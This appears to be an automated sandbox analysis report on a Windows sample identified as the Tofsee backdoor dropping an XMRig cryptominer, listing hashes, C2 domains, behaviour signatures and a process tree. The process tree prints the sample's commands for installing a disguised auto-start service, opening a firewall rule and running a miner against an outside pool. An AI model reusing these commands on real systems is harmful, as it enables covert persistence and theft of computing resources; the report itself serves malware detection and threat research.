Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    17-05-2023 01:55

General

  • Target

    668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe

  • Size

    234KB

  • MD5

    f8df432779abcda0e118d44dc6dde5c7

  • SHA1

    2574314f96737d4a909246b06f6d0904b1b0e6f6

  • SHA256

    668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2

  • SHA512

    43974649ae90e164b8a17288c8c8b249dcdbac0a0c4fc9cdac70edbea455f880be7642e03c33e882e3a0bfaeccca46636398a604867451be52e059fc5fb1e75f

  • SSDEEP

    3072:5fPQrqA+LychM1+ziXtcsM/RHbyp+EpsVNg0cqF2Oq5pqIyYnAZ81MZ:mE1MOYcb/jxBUOqptZnAa1MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe
    "C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\crrtdbl\
      2⤵
        PID:908
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qxwjrrzd.exe" C:\Windows\SysWOW64\crrtdbl\
        2⤵
          PID:856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create crrtdbl binPath= "C:\Windows\SysWOW64\crrtdbl\qxwjrrzd.exe /d\"C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description crrtdbl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start crrtdbl
          2⤵
          • Launches sc.exe
          PID:1600
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1156
      • C:\Windows\SysWOW64\crrtdbl\qxwjrrzd.exe
        C:\Windows\SysWOW64\crrtdbl\qxwjrrzd.exe /d"C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:816
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1744

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\qxwjrrzd.exe

        Filesize

        13.1MB

        MD5

        aff679efc9b6732ed875cfc07a0f899b

        SHA1

        95f2b92f4d985a552ba59b4f7bcecea0c633d0d2

        SHA256

        bb8ec19a60efd77bf13ab7e1c7571ffaca5b3ef88d72c845cfef44cf96cf2266

        SHA512

        3166f783f3665ce8a7c05033f3c767bec1966f8e90a159b0e02c49fde91e4976493b0bda809abef37efe89bf70eb90de40f577be4300efce26fdcbc0f56c83d7

      • C:\Windows\SysWOW64\crrtdbl\qxwjrrzd.exe

        Filesize

        13.1MB

        MD5

        aff679efc9b6732ed875cfc07a0f899b

        SHA1

        95f2b92f4d985a552ba59b4f7bcecea0c633d0d2

        SHA256

        bb8ec19a60efd77bf13ab7e1c7571ffaca5b3ef88d72c845cfef44cf96cf2266

        SHA512

        3166f783f3665ce8a7c05033f3c767bec1966f8e90a159b0e02c49fde91e4976493b0bda809abef37efe89bf70eb90de40f577be4300efce26fdcbc0f56c83d7

      • memory/816-90-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-105-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/816-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/816-93-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-66-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/816-124-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/816-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/816-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/816-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/816-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/816-71-0x00000000018F0000-0x0000000001AFF000-memory.dmp

        Filesize

        2.1MB

      • memory/816-74-0x00000000018F0000-0x0000000001AFF000-memory.dmp

        Filesize

        2.1MB

      • memory/816-75-0x0000000000190000-0x0000000000196000-memory.dmp

        Filesize

        24KB

      • memory/816-78-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-81-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-83-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-84-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-96-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-87-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-89-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-95-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-92-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-106-0x0000000000280000-0x0000000000287000-memory.dmp

        Filesize

        28KB

      • memory/816-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/816-86-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-101-0x00000000001F0000-0x00000000001F5000-memory.dmp

        Filesize

        20KB

      • memory/816-102-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/816-98-0x00000000001F0000-0x00000000001F5000-memory.dmp

        Filesize

        20KB

      • memory/816-97-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-94-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-91-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-88-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-85-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/816-82-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1508-64-0x0000000000400000-0x00000000006B8000-memory.dmp

        Filesize

        2.7MB

      • memory/1744-122-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1744-110-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1744-111-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1744-118-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1744-119-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1744-120-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1744-121-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1744-123-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/2008-60-0x0000000000400000-0x00000000006B8000-memory.dmp

        Filesize

        2.7MB

      • memory/2008-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB